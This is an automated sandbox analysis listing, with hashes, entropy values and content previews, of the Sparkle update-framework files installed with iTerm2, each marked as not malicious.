SSDEEP:	24:DyVUjtNnXtZMWP6Hp8nIVrTrUQqXswNM5GLLGPPBI65ew8GP949RQ1llproEwBqc:DyVUjtdXtuWo0WTrU/i5gLGRfMw8G14D
MD5:	B9E3EBA4EC0E30885B054CE9D2D87A6A
SHA1:	E8BE06AC0F22D4E8CC2C819CFEC16F1147927ECA
SHA-256:	E47AE33A55FEB891CEC3599AFB506D1B9B65631FFBE4DFE0573B7E057FC63B18
SHA-512:	C1E0D826D5B5F066D936D6655F546DF92DB5923FFDC52A3920752A91564CF94C0CCDFB391FB907E06F2EB63585A132B7B10486CEF4F33357D6A006890FC42F92
Malicious:	false
Reputation:	low
Preview:	//.// SUStandardVersionComparator.h.// Sparkle.//.// Created by Andy Matuschak on 12/21/07..// Copyright 2007 Andy Matuschak. All rights reserved..//..#ifndef SUSTANDARDVERSIONCOMPARATOR_H.#define SUSTANDARDVERSIONCOMPARATOR_H..#if __has_feature(modules).@import Foundation;.#else.#import <Foundation/Foundation.h>.#endif.#import "SUExport.h".#import "SUVersionComparisonProtocol.h"..NS_ASSUME_NONNULL_BEGIN../!. Sparkle's default version comparator... This comparator is adapted from MacPAD, by Kevin Ballard.. It's "dumb" in that it does essentially string comparison,. in components split by character type../.SU_EXPORT @interface SUStandardVersionComparator : NSObject <SUVersionComparison>../!. Initializes a new instance of the standard version comparator.. /.- (instancetype)init;../!. Returns a singleton instance of the comparator.. . It is usually preferred to alloc/init new a comparator instead../.+ (SUStandardVersionComparator )defaultComparator;../!.

/Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Headers/SUUpdater.h Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	ASCII C++ program text
Category:	dropped
Size (bytes):	7548
Entropy (8bit):	4.760781145344426
Encrypted:	false
SSDEEP:	96:Dw4N+qQ0X67Cl1Hs0VZGcjxsC5cvDhCHb8otFl9wQNiC0rlfgtwzeok1PeKZqv:H0He+0DYCAhCPLlPiCoYtNnm
MD5:	88F9FB7CD1591159A0D598A57F6D5413
SHA1:	92B2B9F774758D332154DFF297C9D75A8D5621F8
SHA-256:	209739723284A046C6EA89EEFC3CBED4E5D3E5827B195DD1D54D2ED856A652C6
SHA-512:	3B06D15237A2B17113AEC6414A1CC365F0013761A0C8D5731D1BC9264D865F579331BE28A34B6E7B0BA27F9F251BACAAA2F1CE21BFB92D9AC54ECEA9408933CC
Malicious:	false
Reputation:	low
Preview:	//.// SUUpdater.h.// Sparkle.//.// Created by Andy Matuschak on 1/4/06..// Copyright 2006 Andy Matuschak. All rights reserved..//..#ifndef SUUPDATER_H.#define SUUPDATER_H..#if __has_feature(modules).@import Cocoa;.#else.#import <Cocoa/Cocoa.h>.#endif.#import "SUExport.h".#import "SUVersionComparisonProtocol.h".#import "SUVersionDisplayProtocol.h"..@class SUAppcastItem, SUAppcast;..@protocol SUUpdaterDelegate;../!. The main API in Sparkle for controlling the update mechanism... This class is used to configure the update paramters as well as manually. and automatically schedule and control checks for updates.. /.SU_EXPORT @interface SUUpdater : NSObject..@property (unsafe_unretained) IBOutlet id<SUUpdaterDelegate> delegate;../!. The shared updater for the main bundle.. . This is equivalent to passing [NSBundle mainBundle] to SUUpdater::updaterForBundle:. /.+ (SUUpdater )sharedUpdater;../!. The shared updater for a specified bundle... If an updater has already been init

/Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Headers/SUUpdaterDelegate.h Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	UTF-8 Unicode C++ program text
Category:	dropped
Size (bytes):	12956
Entropy (8bit):	4.8418464176895615
Encrypted:	false
SSDEEP:	384:uxCQ/3VghF5zymfZElcwdCjQUQHyi9bDq0wlv5k5q3TvDLFeUx92Ua4+bLeLjO7:uR3yhDymfZElcwCQ9yi9bDq0wlhk5q3y
MD5:	5B01DD92700DBCB8B2C8B0CBEF45751D
SHA1:	51620A2ABB691BC11320A302692462AB8BA33C9B
SHA-256:	77D2C19932C1C5C41D6BE273639634ADDA945376701B407FC54AC017AF1DD979
SHA-512:	751924D443027A395393137760C573F69AB8B3CDA7413E593EC0CDB6857B62D2727DE079258EF529376D38EDE3BF82631B45C9626D259865DF4A9F7E58372C3E
Malicious:	false
Reputation:	low
Preview:	//.// SUUpdaterDelegate.h.// Sparkle.//.// Created by Mayur Pawashe on 12/25/16..// Copyright .. 2016 Sparkle Project. All rights reserved..//..#if __has_feature(modules).@import Foundation;.#else.#import <Foundation/Foundation.h>.#endif..#import "SUExport.h"..@protocol SUVersionComparison, SUVersionDisplay;.@class SUUpdater, SUAppcast, SUAppcastItem;..NS_ASSUME_NONNULL_BEGIN..// -----------------------------------------------------------------------------.// SUUpdater Notifications for events that might be interesting to more than just the delegate.// The updater will be the notification object.// -----------------------------------------------------------------------------.SU_EXPORT extern NSString const SUUpdaterDidFinishLoadingAppCastNotification;.SU_EXPORT extern NSString const SUUpdaterDidFindValidUpdateNotification;.SU_EXPORT extern NSString const SUUpdaterDidNotFindUpdateNotification;.SU_EXPORT extern NSString const SUUpdaterWillRestartNotification;.#define SUUpdaterWil

/Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Headers/SUVersionComparisonProtocol.h Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	ASCII C++ program text
Category:	dropped
Size (bytes):	820
Entropy (8bit):	5.280513453040381
Encrypted:	false
SSDEEP:	24:DmzVT0Bln3k0BhMWXHD2II70AXaxJ4aaywBqtRq82:DMVTel3kemW3D2IUXaxJ9apBqtRqj
MD5:	A9461ED454A6DF01CAC1E5A1972CAFF5
SHA1:	A629FC0AB115F5E61617DB1D0EED0DD588B158E1
SHA-256:	AEC9B74FE1AC2210E04AA63C12D901A48C588126426717F81C4F5AFC57134427
SHA-512:	852C85D362FD15AA2BF194DC1D315E1FA302C5A4F9A91E8CD58C2C0081BDFC1F4BC22C66D3F111E79205F406DF1B0A6732F50751FDC998926E19F82F9CECF912
Malicious:	false
Reputation:	low
Preview:	//.// SUVersionComparisonProtocol.h.// Sparkle.//.// Created by Andy Matuschak on 12/21/07..// Copyright 2007 Andy Matuschak. All rights reserved..//..#ifndef SUVERSIONCOMPARISONPROTOCOL_H.#define SUVERSIONCOMPARISONPROTOCOL_H..#if __has_feature(modules).@import Foundation;.#else.#import <Foundation/Foundation.h>.#endif.#import "SUExport.h"..NS_ASSUME_NONNULL_BEGIN../!. Provides version comparison facilities for Sparkle../.@protocol SUVersionComparison../!. An abstract method to compare two version strings... Should return NSOrderedAscending if b > a, NSOrderedDescending if b < a,. and NSOrderedSame if they are equivalent../.- (NSComparisonResult)compareVersion:(NSString )versionA toVersion:(NSString )versionB; // *** MAY BE CALLED ON NON-MAIN THREAD!..@end..NS_ASSUME_NONNULL_END.#endif.

/Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Headers/SUVersionDisplayProtocol.h Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	ASCII C++ program text
Category:	dropped
Size (bytes):	679
Entropy (8bit):	4.959078187046658
Encrypted:	false
SSDEEP:	12:DFdxiD4FMZYIMvdU4gtcGS/NwJ42JFjhLPdWRjOgVOgl:DFDFy5MW4gF0NwJ4ELPdWFFVFl
MD5:	20BB3C40D1C141DA9743EADD1AF7AC06
SHA1:	0F7C95167B6CD23D4869C37D75237B8994959598
SHA-256:	01021350CA7C6AAD5400EAE692C00A986169808DB8BBDAC3481059AE00EA74DE
SHA-512:	D677C54C6B30E72BD9B4A2DB346ABA6FDAABF4E94959FF4CF4A4E9CB0A65A91BFE23BDF629470E836B0A3E3D20B04B55A45530D486E68CA85E70BAF62DF6B5FD
Malicious:	false
Reputation:	low
Preview:	//.// SUVersionDisplayProtocol.h.// EyeTV.//.// Created by Uli Kusterer on 08.12.09..// Copyright 2009 Elgato Systems GmbH. All rights reserved..//..#if __has_feature(modules).@import Foundation;.#else.#import <Foundation/Foundation.h>.#endif.#import "SUExport.h"../!. Applies special display formatting to version numbers../.@protocol SUVersionDisplay../!. Formats two version strings... Both versions are provided so that important distinguishing information. can be displayed while also leaving out unnecessary/confusing parts../.- (void)formatVersion:(NSString _Nonnull_Nonnull)inOutVersionA andVersion:(NSString _Nonnull_Nonnull)inOutVersionB;..@end.

/Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Headers/Sparkle.h Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	ASCII C++ program text
Category:	dropped
Size (bytes):	883
Entropy (8bit):	4.9933298628405005
Encrypted:	false
SSDEEP:	24:FWBQ4nZEV2bE+nqUG2dKT2tMEJzDhk5vmY1:FgQcZM3+n9KTE5w31
MD5:	B257AD7BF51C5A334C2E7647EB0370AD
SHA1:	90073E740F4A72D73350B83468B5B2A43741BF2D
SHA-256:	AB1F691F69AEBBB39A49811E6447C8CC615358293F808A3B650FBA4C4C4F8720
SHA-512:	F309E01C88B06B7AA6021AF8716EFD447731FF6F6387FC7F303B5D0845D15E83729FA1A7D8923E64430615571FFD154BFD1529BF011BF82C11A36C9F47FA5E42
Malicious:	false
Reputation:	low
Preview:	//.// Sparkle.h.// Sparkle.//.// Created by Andy Matuschak on 3/16/06. (Modified by CDHW on 23/12/07).// Copyright 2006 Andy Matuschak. All rights reserved..//..#ifndef SPARKLE_H.#define SPARKLE_H..// This list should include the shared headers. It doesn't matter if some of them aren't shared (unless.// there are name-space collisions) so we can list all of them to start with:..#import "SUAppcast.h".#import "SUAppcastItem.h".#import "SUStandardVersionComparator.h".#import "SUUpdater.h".#import "SUUpdaterDelegate.h".#import "SUVersionComparisonProtocol.h".#import "SUVersionDisplayProtocol.h".#import "SUErrors.h"..#import "SPUDownloader.h".#import "SPUDownloaderDelegate.h".#import "SPUDownloaderDeprecated.h".#import "SPUDownloadData.h".#import "SPUDownloaderProtocol.h".#import "SPUDownloaderSession.h".#import "SPUURLRequest.h".#import "SUCodeSigningVerifier.h"..#endif.

/Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Modules/module.modulemap Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	ASCII text
Category:	dropped
Size (bytes):	95
Entropy (8bit):	4.149176342896098
Encrypted:	false
SSDEEP:	3:96XzKmkGFFFXABvWuW4AdSzvAtz4gXzFCC:MX3kGdXkWuWNdSDAdXpCC
MD5:	991D7A416C31D35ED38952F0408B9E4A
SHA1:	FF68E00DC807E7E106F688DC56C91A8DF568E328
SHA-256:	D5317E25993316BEA7F281F8588B6DA3E0B955FDCAD767F41FD2A3A83D00E505
SHA-512:	2B8034937A64F25386DF2F117D77F946C058E852F01901A9C2090C024A0481D8087E51A6647D345732C90853B3ACD5435FF971189B0F2BF8C372FCD22C9BA84D
Malicious:	false
Reputation:	low
Preview:	framework module Sparkle {. umbrella header "Sparkle.h".. export . module { export * }.}.

/Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/PrivateHeaders/SUUnarchiver.h Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	ASCII C++ program text
Category:	dropped
Size (bytes):	483
Entropy (8bit):	5.211274922557554
Encrypted:	false
SSDEEP:	12:DTnmpCdiAUvsGSNDSRlFSWm1WRi0xWjMmhE:DECQ1vnswFNR/WjMma
MD5:	13C6439293414BC28D36F9063631D7D0
SHA1:	EE64E99A74E427DEC36504332BF85D9766999975
SHA-256:	4906006A74ED9725F5E4225AA63E6D0DB84110CB6043B64D766A528A3D3EB43E
SHA-512:	9022F3E00070D8B9DAE2A4079DD1D2D981EF20A5CC0F418A0EC3AC3BF1FDC7F790A2968DCE48756ABBB7E9C34E5A6A1F56B56410870F168381DA0EB91D26EA70
Malicious:	false
Reputation:	low
Preview:	//.// SUUnarchiver.h.// Sparkle.//.// Created by Andy Matuschak on 3/16/06..// Copyright 2006 Andy Matuschak. All rights reserved..//..#import <Foundation/Foundation.h>..NS_ASSUME_NONNULL_BEGIN..@protocol SUUnarchiverProtocol;..@interface SUUnarchiver : NSObject..+ (nullable id <SUUnarchiverProtocol>)unarchiverForPath:(NSString )path updatingHostBundlePath:(nullable NSString )hostPath decryptionPassword:(nullable NSString *)decryptionPassword;..@end..NS_ASSUME_NONNULL_END.

/Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/Autoupdate.app/Contents/Info.plist Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	XML document text
Category:	dropped
Size (bytes):	1603
Entropy (8bit):	5.176572444353939
Encrypted:	false
SSDEEP:	48:cfyfStuXU/z3c1P0gM2IpSctXJ/9HHHHSg:CyqtuX8z3c1P0gMVpSctXJ/9HHHHSg
MD5:	1C6A26A9687160BF89F9070B85A5A55E
SHA1:	8CAA6B192DB7B658D6CEE1FD5C2083837D4FFBFA
SHA-256:	91A956E4609ED59254918AFCCD7FB7D8AD54E2BAF649DD3ADACCEC8F57EE3224
SHA-512:	54B226C79B380B706629B9062F21863085AB17EF688D61A1157E2A4DB43C6AC71C123FBAE62EF03023D118E6778D38FFABE20A357A5184F09665F7393B71B906
Malicious:	false
Reputation:	low
Preview:	<?xml version="1.0" encoding="UTF-8"?>.<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">.<plist version="1.0">.<dict>..<key>BuildMachineOSBuild</key>..<string>20A5299w</string>..<key>CFBundleDevelopmentRegion</key>..<string>English</string>..<key>CFBundleExecutable</key>..<string>Autoupdate</string>..<key>CFBundleIconFile</key>..<string>AppIcon.icns</string>..<key>CFBundleIdentifier</key>..<string>org.sparkle-project.Sparkle.Autoupdate</string>..<key>CFBundleInfoDictionaryVersion</key>..<string>6.0</string>..<key>CFBundlePackageType</key>..<string>APPL</string>..<key>CFBundleShortVersionString</key>..<string>1.22.0 1346-gbb5d87c</string>..<key>CFBundleSignature</key>..<string>????</string>..<key>CFBundleSupportedPlatforms</key>..<array>...<string>MacOSX</string>..</array>..<key>CFBundleVersion</key>..<string>1.22.0</string>..<key>DTCompiler</key>..<string>com.apple.compilers.llvm.clang.1_0</string>..<key>DTPlatformBuild</key>..<strin

/Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/Autoupdate.app/Contents/MacOS/Autoupdate Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	Mach-O fat file with 2 architectures
Category:	dropped
Size (bytes):	576608
Entropy (8bit):	5.289903739944929
Encrypted:	false
SSDEEP:	6144:h5C+VHu3HpoHmaCIFRyZyZUFsA/CIaAowz8PyQy2jW:aX5XbsATfvzQa
MD5:	0C32A5F092F4A2C5754DD13ACDBA8F69
SHA1:	82E78A66BD4345C4F065244D96459F96813359E8
SHA-256:	E4C25E7C433D85518631CA400B88886516C2CF4DEF110781480A4FD19E21561B
SHA-512:	10D5A79E5E913FC90ADD1F45E1054F0D12710035071AAFF534AD7A36336A47D4CA41B50193C3393955BF1A60D69119A60DB273B0427E7BF8A648F1421F28CA26
Malicious:	false
Reputation:	low
Preview:	......................f0...................`............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

/Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/Autoupdate.app/Contents/MacOS/fileop Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	Mach-O fat file with 2 architectures
Category:	dropped
Size (bytes):	284064
Entropy (8bit):	4.606656408457277
Encrypted:	false
SSDEEP:	3072:QOWyAPSo4aI6O9YZsYbqpqjCGyxy+O8Rz/kCcypyhr:QjyAa3YbLjCGyxy58yCcypyJ
MD5:	1E701101949002819BE76E0773EE705B
SHA1:	3D34384090BAAE9AC3273F9DA5AE6FF17AA0132B
SHA-256:	DEA565F6EBFD92484D10FF54DD86123106E926B82E893289DCE0D0DF09450FD2
SHA-512:	FD8036F43D00D5C1915D6BFA0F74B01579C88AD3FAC18C36303A68083967C174A3851BAD74561B817DC55FFCC915582BBF9870AF5FB3D91017884DB275130154
Malicious:	false
Reputation:	low
Preview:	..................@...*0................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

/Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/Autoupdate.app/Contents/PkgInfo Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	8
Entropy (8bit):	1.75
Encrypted:	false
SSDEEP:	3:k0Ra:f8
MD5:	23B7D7D024ABB0F558420E098800BF27
SHA1:	9F9EEA0CFE2D65F2C3D6B092E375B40782D08F31
SHA-256:	82502191C9484B04D685374F9879A0066069C49B8ACAE7A04B01D38D07E8ECA0
SHA-512:	F77D501528DD0CED155C80406CFBEE38D5D3649B64D2A9324F3D6CEE39491EB8F54CDEBAE49C6E21A20D2309D8FAE1B01C41631224811E73483DB25A2695738C
Malicious:	false
Reputation:	low
Preview:	APPL????

/Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/Autoupdate.app/Contents/Resources/AppIcon.icns Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	data
Category:	dropped
Size (bytes):	37132
Entropy (8bit):	7.810279311293005
Encrypted:	false
SSDEEP:	768:kH/VGfaGDJTNbJxxpKO7DfyHXFkz1PBOzQjf7ZlyRAyAw:k2NfxoHVgdplyRAq
MD5:	C6798169427BEF868D40556C37D7049B
SHA1:	E0C73044312CB390735B050C1B65DFF77FB37B4F
SHA-256:	9EAEE3D2E810C3235B267FFBCC6170C484749E3C14DE2EE1018284C9986F51F1
SHA-512:	B6E5DAA6A3505476622756AE5B50BBCA511B68EB5CFBA260C74DC312B3B0E30AFC4A5D43F77D035872F0411AB9034AFE2CC64CF6E98E894CCF9DF96C4D816CE5
Malicious:	false
Reputation:	low
Preview:	icns....is32.....G...G..?......?..G..r........G...../.......q.G.<...~U..S....<.....zw....Y=........K......\|........w.............z........q....$.<........&C....dg.....!..\|d6ee6c...!...Q.........._...^.....Q...G..............G...GG.p...p..?......?..p..u.........p.....>.......q.p.<............<......................................................................$.}........g{...........!....k..k....!...S.........._...^........Q...p..............p...pp.L...L..?......?..L..w........L............(t.L.<............<...................................................................$.......................!............!...Q.........._...^.....Q...L..............L...LLs8mk........................,......,.......o........c.....d..........p..................................................$..............$(..............(!..............".................M............M...................)..........).....%Y......Y$......../HOOH/.....il32...h.G...G..............G...;........;...G.............G.......

/Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/Autoupdate.app/Contents/Resources/SUStatus.nib Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	Apple binary property list
Category:	dropped
Size (bytes):	12597
Entropy (8bit):	6.723101504169035
Encrypted:	false
SSDEEP:	384:uAg94DKE0xeEYNg72osKW7v8sdf6cDdyCxOxZ:uAgWD2eEYy5Y0gZhyyOX
MD5:	5FBB7CE84C39F6E4FE9939CC4DEF1A20
SHA1:	32E9405D8C868CA7F8F8049D78C2611925624175
SHA-256:	BED195884E7B2BA9489214BE8E5B81F9B276AC176D575C7D48640B598A8FB318
SHA-512:	805669C72920B3E981FAD133FC13E4F9196247C6F4ACBBF1199A99D724E403788C184238829FC2999EA9E5855AEB6D9028B2E71C624120114EDE28D98095B1E3
Malicious:	false
Reputation:	low
Preview:	bplist00.................X$versionY$archiverT$topX$objects....._..NSKeyedArchiver........._..IB.systemFontUpdateVersion]IB.objectdata............%.).*.0.4.8.G.Q.\|.............................................................!.".&.).../.4.7.:.;.A.c.d.e.f.g.h.p.....................................................................................................".#.$.%.,.-.../.8.9.:.A.B.I.J.K.R.S.T.c.f.g.i.x.........o................................................U$null.................................... ...".#.$VNSRoot]NSConnections\NSOidsValues_..NSObjectsValues]NSObjectsKeys_..NSAccessibilityOidsValues_..NSVisibleWindows_..NSAccessibilityOidsKeys_..NSAccessibilityConnectorsV$classZNSOidsKeys........................&...'.([NSClassName...._..SUStatusController..+.,.-..Z$classnameX$classes^NSCustomObject..-./XNSObject..1...2.3ZNS.objects.....+.,.5.6\NSMutableSet..5.7./UNSSet..1...9.F..:.;.<.=.>.?.@.A.B.C.D.E.......2.`.e.l.p.t.w.y.\|......H.I.J.K.L...N.O.PXNSSource]NSDestinationWNSLabel_.%N

/Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/Autoupdate.app/Contents/Resources/ar.lproj/Sparkle.strings Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	Little-endian UTF-16 Unicode English text, with very long lines
Category:	dropped
Size (bytes):	8452
Entropy (8bit):	4.030959791384656
Encrypted:	false
SSDEEP:	96:M4PBuI3K3uQUiPRUxosv0tbnTvP5gzo/mgpnJ+ELloNmemvMMk/0/DZkstLM2hF:M43K3uQUmU6oOCMuYnJ+zTmvkIKK427
MD5:	E52432741A6B418E88EE819269969EFC
SHA1:	DFF66B819777A0EFC89DB477541601499DCAB03B
SHA-256:	91797540E50A5356E7DFCCD91534D3A3A8D2BC96B7C735BEE74E811C5A974EB0
SHA-512:	DF32AE6859C901E3CF508CC3CD337C890282EADEBFDBE97DE0F1F70EE49ABC0ECE977AC093DF2178E2141C2E4711168131A2BA8B72253BD4B8258335BCD99631
Malicious:	false
Reputation:	low
Preview:	..".%.1.$.@. .%.2.$.@. .h.a.s. .b.e.e.n. .d.o.w.n.l.o.a.d.e.d. .a.n.d. .i.s. .r.e.a.d.y. .t.o. .u.s.e.!. .W.o.u.l.d. .y.o.u. .l.i.k.e. .t.o. .i.n.s.t.a.l.l. .i.t. .a.n.d. .r.e.l.a.u.n.c.h. .%.1.$.@. .n.o.w.?.". .=. ."..E. ..F.2.J.D. .%.1.$.@. .%.2.$.@. .H.G.H. .,.'.G.2. .D.D.'.3..../.'.E... .G.D. ..1.:.(. .(..+.(.J.. .'.D..-./.J.+. .H.%.9.'./.). ..4.:.J.D. .%.1.$.@. .'.D.".F...".;.....".%.1.$.@. .c.a.n.'.t. .b.e. .u.p.d.a.t.e.d.,. .b.e.c.a.u.s.e. .i.t. .w.a.s. .o.p.e.n.e.d. .f.r.o.m. .a. .r.e.a.d.-.o.n.l.y. .o.r. .a. .t.e.m.p.o.r.a.r.y. .l.o.c.a.t.i.o.n... .U.s.e. .F.i.n.d.e.r. .t.o. .c.o.p.y. .%.1.$.@. .t.o. .t.h.e. .A.p.p.l.i.c.a.t.i.o.n.s. .f.o.l.d.e.r.,. .r.e.l.a.u.n.c.h. .i.t. .f.r.o.m. .t.h.e.r.e.,. .a.n.d. .t.r.y. .a.g.a.i.n...". .=. .".D.'. .J.E.C.F. ..-./.J.+. .%.1.$.@. .%.0.'. .4.O.:.Q.D. .E.F. .H.-./.). ....2.J.F. .D.D.B.1.'.!.). .A.B.7. .C.5.H.1.). .B.1.5. .#.H. .B.'.1.&. .'.D.#.B.1.'.5. .'.D.6.H.&.J.)... .'.F.B.D. .%.1.$.@. .%.D.I. .E.,.D./. .'.D..7.(.J.B.'.. .

/Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/Autoupdate.app/Contents/Resources/ca.lproj/Sparkle.strings Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	Little-endian UTF-16 Unicode English text, with very long lines
Category:	dropped
Size (bytes):	6672
Entropy (8bit):	3.4075459663441494
Encrypted:	false
SSDEEP:	96:JRwWDa+b5K3e3yQUi/RUxosxHySmUFYAgIme+/b75+/ZA15+/9w2j3z5+e8wMabZ:rZK3e3yQUKU6YTFYJ2R3j84kNgb
MD5:	98F6EECB149DB8D1AE02B35773738F23
SHA1:	F31679F53FCB67154C39636C19B972495B228EFB
SHA-256:	AAF79ACF526F474B7144122B5C448DB30ECE43F15FFDC3F38432E7B28110ADA5
SHA-512:	59FE79C98413E167E8EFA017D33768F462065308B5235EEACCFD85024DAB7EB80A43C7A08C71AC178739246F2BA86B01D39F5AF1427E2BB95A687F591BB11717
Malicious:	false
Reputation:	low
Preview:	..".%.@. .o.f. .%.@.". .=. .".%.1.$.@. .d.e. .%.2.$.@.".;.....".%.1.$.@. .c.a.n.'.t. .b.e. .u.p.d.a.t.e.d. .w.h.e.n. .i.t.'.s. .r.u.n.n.i.n.g. .f.r.o.m. .a. .d.i.s.k. .i.m.a.g.e... .M.o.v.e. .%.1.$.@. .t.o. .y.o.u.r. .A.p.p.l.i.c.a.t.i.o.n.s. .f.o.l.d.e.r.,. .r.e.l.a.u.n.c.h. .i.t.,. .a.n.d. .t.r.y. .a.g.a.i.n...". .=. .".%.1.$.@. .n.o. .e.s. .p.o.t. .a.c.t.u.a.l.i.t.z.a.r. .q.u.a.n. .f.u.n.c.i.o.n.a. .d.e.s. .d.'.u.n. .d.i.s.c. .d.'.i.m.a.t.g.e... .M.o.v.e.u. .%.1.$.@. .a.l. .v.o.s.t.r.e. .d.i.r.e.c.t.o.r.i. .A.p.l.i.c.a.c.i.o.n.s.,. .r.e.i.n.i.c.i.e.u.-.l.o.,. .i. .t.o.r.n.e.u. .a. .p.r.o.v.a.r.-.h.o...".;.....".%.@. .%.@. .h.a.s. .b.e.e.n. .i.n.s.t.a.l.l.e.d. .a.n.d. .w.i.l.l. .b.e. .r.e.a.d.y. .t.o. .u.s.e. .n.e.x.t. .t.i.m.e. .%.@. .s.t.a.r.t.s.!. .W.o.u.l.d. .y.o.u. .l.i.k.e. .t.o. .r.e.l.a.u.n.c.h. .n.o.w.?.". .=. .".%.@. .%.@. .h.a. .e.s.t.a.t. .i.n.s.t.a.l...l.a.t. .i. .e.s.t.a.r... .l.l.e.s.t. .p.e.r. .a. .s.e.r. .u.t.i.l.i.t.z.a.t. .l.a. .p.r.o.p.e.r.a. .v.e.g.a.d.a. .q.u.e.

/Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/Autoupdate.app/Contents/Resources/cs.lproj/Sparkle.strings Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	Little-endian UTF-16 Unicode English text, with very long lines
Category:	dropped
Size (bytes):	10606
Entropy (8bit):	3.5483976043759076
Encrypted:	false
SSDEEP:	192:MO5wxX3g33QUD2Ul+LnnclYU+421JBkcdWs:s/vzclYUI1JBkYWs
MD5:	94AB5280B1669689138FCAB0EEC7900F
SHA1:	E8913DC6386D6073C3CF35D747C328B1A89BFEAE
SHA-256:	F9E80E1009BBC0AB19118A563CCC88B773BF2B7ACABAC2E8AA044F0E34DB563D
SHA-512:	7523BA299482A635D3C316C39BDBF0568A148D56701A8F4887F73A8247F608EAF000CFA82B93B83BA295FE96B901154E8023EF9043930CEDD5816DB8DDB42D47
Malicious:	false
Reputation:	low
Preview:	..".%.1.$.@. .%.2.$.@. .h.a.s. .b.e.e.n. .d.o.w.n.l.o.a.d.e.d. .a.n.d. .i.s. .r.e.a.d.y. .t.o. .u.s.e.!. .T.h.i.s. .i.s. .a.n. .i.m.p.o.r.t.a.n.t. .u.p.d.a.t.e.;. .w.o.u.l.d. .y.o.u. .l.i.k.e. .t.o. .i.n.s.t.a.l.l. .i.t. .a.n.d. .r.e.l.a.u.n.c.h. .%.1.$.@. .n.o.w.?.". .=. .".A.p.l.i.k.a.c.e. .%.1.$.@. .%.2.$.@. .b.y.l.a. .s.t.a.~.e.n.a. .a...j.e. .p.Y.i.p.r.a.v.e.n.a. .k...p.o.u.~.i.t... .p.o. .p.Y...a.t...m. .s.p.u.a.t...n...!. .T.o.t.o. .j.e. .d.o.l.e.~.i.t... .a.k.t.u.a.l.i.z.a.c.e.;. .p.Y.e.j.e.t.e. .s.i. .a.p.l.i.k.a.c.i. .%.1.$.@. .n.y.n... .n.a.i.n.s.t.a.l.o.v.a.t. .a...z.n.o.v.u. .s.p.u.s.t.i.t.?.".;.....".%.1.$.@. .%.2.$.@. .h.a.s. .b.e.e.n. .d.o.w.n.l.o.a.d.e.d. .a.n.d. .i.s. .r.e.a.d.y. .t.o. .u.s.e.!. .W.o.u.l.d. .y.o.u. .l.i.k.e. .t.o. .i.n.s.t.a.l.l. .i.t. .a.n.d. .r.e.l.a.u.n.c.h. .%.1.$.@. .n.o.w.?.". .=. .".A.p.l.i.k.a.c.e. .%.1.$.@. .%.2.$.@. .b.y.l.a. .s.t.a.~.e.a.n. .a...j.e. .p.Y.i.p.r.a.v.e.n.a. .k...p.o.u.~.i.t... .p.o. .p.Y...a.t...m. .s.p.u.a.t...n...!. .P.Y.e.

/Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/Autoupdate.app/Contents/Resources/da.lproj/Sparkle.strings Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	Little-endian UTF-16 Unicode English text, with very long lines
Category:	dropped
Size (bytes):	8342
Entropy (8bit):	3.4062078535569755
Encrypted:	false
SSDEEP:	96:M4CIzBuxUiXV353YQUiyOlRUxosCyQ/KAywdCPTKynPYl7/muBwj27VnWwCXG652:MSiF353YQUcU6VPyAnPcWgJBkqeU42E
MD5:	1A3620DEC4D18C0AA6C26A2C0E3D86C3
SHA1:	3A30785DAF723C0472F898B6B5D9F76FE01CD05A
SHA-256:	4CD9D561533F147ED1453E4C2438AE74786588A87055DCCAB68147A1A3B260D0
